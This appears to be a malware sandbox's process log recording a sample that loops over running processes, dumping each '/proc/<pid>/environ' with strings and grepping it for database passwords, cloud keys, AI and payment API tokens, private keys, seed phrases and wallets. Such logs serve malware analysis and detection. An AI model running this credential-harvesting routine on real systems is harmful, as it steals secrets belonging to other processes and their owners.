- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:942
- /usr/bin/strings
  strings /proc/166/environ
  2⤵
  PID:941
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:944
- /usr/bin/strings
  strings /proc/17/environ
  2⤵
  - Reads runtime system information
  PID:943
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:946
- /usr/bin/strings
  strings /proc/18/environ
  2⤵
  - Reads runtime system information
  PID:945
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:948
- /usr/bin/strings
  strings /proc/19/environ
  2⤵
  - Reads runtime system information
  PID:947
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:950
- /usr/bin/strings
  strings /proc/2/environ
  2⤵
  PID:949
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:952
- /usr/bin/strings
  strings /proc/20/environ
  2⤵
  PID:951
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:954
- /usr/bin/strings
  strings /proc/21/environ
  2⤵
  PID:953
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:956
- /usr/bin/strings
  strings /proc/22/environ
  2⤵
  - Reads runtime system information
  PID:955
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:958
- /usr/bin/strings
  strings /proc/23/environ
  2⤵
  - Reads runtime system information
  PID:957
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/strings
  strings /proc/237/environ
  2⤵
  PID:959
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:962
- /usr/bin/strings
  strings /proc/24/environ
  2⤵
  - Reads runtime system information
  PID:961
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/strings
  strings /proc/3/environ
  2⤵
  - Reads runtime system information
  PID:963
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:966
- /usr/bin/strings
  strings /proc/321/environ
  2⤵
  - Reads runtime system information
  PID:965
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:968
- /usr/bin/strings
  strings /proc/322/environ
  2⤵
  PID:967
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:970
- /usr/bin/strings
  strings /proc/324/environ
  2⤵
  - Reads runtime system information
  PID:969
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:972
- /usr/bin/strings
  strings /proc/325/environ
  2⤵
  - Reads runtime system information
  PID:971
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:974
- /usr/bin/strings
  strings /proc/352/environ
  2⤵
  PID:973
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:976
- /usr/bin/strings
  strings /proc/36/environ
  2⤵
  - Reads runtime system information
  PID:975
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:978
- /usr/bin/strings
  strings /proc/37/environ
  2⤵
  - Reads runtime system information
  PID:977
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/strings
  strings /proc/371/environ
  2⤵
  - Reads runtime system information
  PID:979
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:982
- /usr/bin/strings
  strings /proc/373/environ
  2⤵
  PID:981
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:984
- /usr/bin/strings
  strings /proc/376/environ
  2⤵
  - Reads runtime system information
  PID:983
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:986
- /usr/bin/strings
  strings /proc/4/environ
  2⤵
  PID:985
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:988
- /usr/bin/strings
  strings /proc/417/environ
  2⤵
  - Reads runtime system information
  PID:987
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:990
- /usr/bin/strings
  strings /proc/5/environ
  2⤵
  PID:989
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:992
- /usr/bin/strings
  strings /proc/6/environ
  2⤵
  - Reads runtime system information
  PID:991
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:994
- /usr/bin/strings
  strings /proc/650/environ
  2⤵
  - Reads runtime system information
  PID:993
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  PID:996
- /usr/bin/strings
  strings /proc/666/environ
  2⤵
  - Reads runtime system information
  PID:995
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:998
- /usr/bin/strings
  strings /proc/668/environ
  2⤵
  - Reads runtime system information
  PID:997
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1000
- /usr/bin/strings
  strings /proc/671/environ
  2⤵
  - Reads runtime system information
  PID:999
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1002
- /usr/bin/strings
  strings /proc/672/environ
  2⤵
  - Reads runtime system information
  PID:1001
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1004
- /usr/bin/strings
  strings /proc/698/environ
  2⤵
  - Reads runtime system information
  PID:1003
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1006
- /usr/bin/strings
  strings /proc/7/environ
  2⤵
  - Reads runtime system information
  PID:1005
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /usr/bin/strings
  strings /proc/70/environ
  2⤵
  PID:1007
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1010
- /usr/bin/strings
  strings /proc/700/environ
  2⤵
  - Reads runtime system information
  PID:1009
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1012
- /usr/bin/strings
  strings /proc/701/environ
  2⤵
  - Reads runtime system information
  PID:1011
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1014
- /usr/bin/strings
  strings /proc/703/environ
  2⤵
  - Reads runtime system information
  PID:1013
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1016
- /usr/bin/strings
  strings /proc/71/environ
  2⤵
  - Reads runtime system information
  PID:1015
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1018
- /usr/bin/strings
  strings /proc/711/environ
  2⤵
  PID:1017
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1020
- /usr/bin/strings
  strings /proc/72/environ
  2⤵
  PID:1019
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1022
- /usr/bin/strings
  strings /proc/73/environ
  2⤵
  - Reads runtime system information
  PID:1021
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1024
- /usr/bin/strings
  strings /proc/74/environ
  2⤵
  PID:1023
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1026
- /usr/bin/strings
  strings /proc/75/environ
  2⤵
  PID:1025
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1028
- /usr/bin/strings
  strings /proc/76/environ
  2⤵
  - Reads runtime system information
  PID:1027
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
  PID:1030
- /usr/bin/strings
  strings /proc/77/environ
  2⤵
  - Reads runtime system information
  PID:1029
- /bin/grep
  grep -iE "DB_|DATABASE|MYSQL|POSTGRES|MONGO|REDIS|APP_KEY|SECRET|PASSWORD|USERNAME|AWS_|S3_|OPENAI|ANTHROPIC|CLAUDE|GEMINI|STRIPE|TWILIO|SENDGRID|GITHUB_TOKEN|GITLAB_TOKEN|DISCORD|SLACK|PRIVATE_KEY|SEED_PHRASE|MNEMONIC|WALLET|INFURA|ALCHEMY|JWT_|FIREBASE|SUPABASE|CLOUDFLARE|DO_TOKEN|GOOGLE_API"
  2⤵
  - System Network Configuration Discovery
